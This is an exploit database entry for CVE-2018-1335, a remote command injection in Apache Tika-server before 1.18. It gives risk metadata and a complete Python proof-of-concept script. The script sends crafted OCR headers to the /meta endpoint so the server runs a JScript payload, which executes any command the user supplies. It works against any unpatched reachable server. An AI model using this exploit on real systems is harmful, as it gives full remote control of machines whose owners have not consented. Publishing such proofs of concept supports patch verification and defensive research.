Apache Tika Server Command Injection

2019.03.14
Credit: David Yesland
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

###################################################################################################### #Description: This is a PoC for remote command execution in Apache Tika-server. # #Versions Affected: Tika-server versions < 1.18 # #Researcher: David Yesland Twitter: @Daveysec # #Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ # # #NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335 # ###################################################################################################### import sys import requests if len(sys.argv) < 4: print "Usage: python CVE-2018-1335.py <host> <port> <command>" print "Example: python CVE-2018-1335.py localhost 9998 calc.exe" else: host = sys.argv[1] port = sys.argv[2] cmd = sys.argv[3] url = host+":"+str(port)+"/meta" headers = {"X-Tika-OCRTesseractPath": "\"cscript\"", "X-Tika-OCRLanguage": "//E:Jscript", "Expect": "100-continue", "Content-type": "image/jp2", "Connection": "close"} jscript='''var oShell = WScript.CreateObject("WScript.Shell"); var oExec = oShell.Exec('cmd /c {}'); '''.format(cmd) try: requests.put("https://"+url, headers=headers, data=jscript, verify=False) except: try: requests.put("http://"+url, headers=headers, data=jscript) except: print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top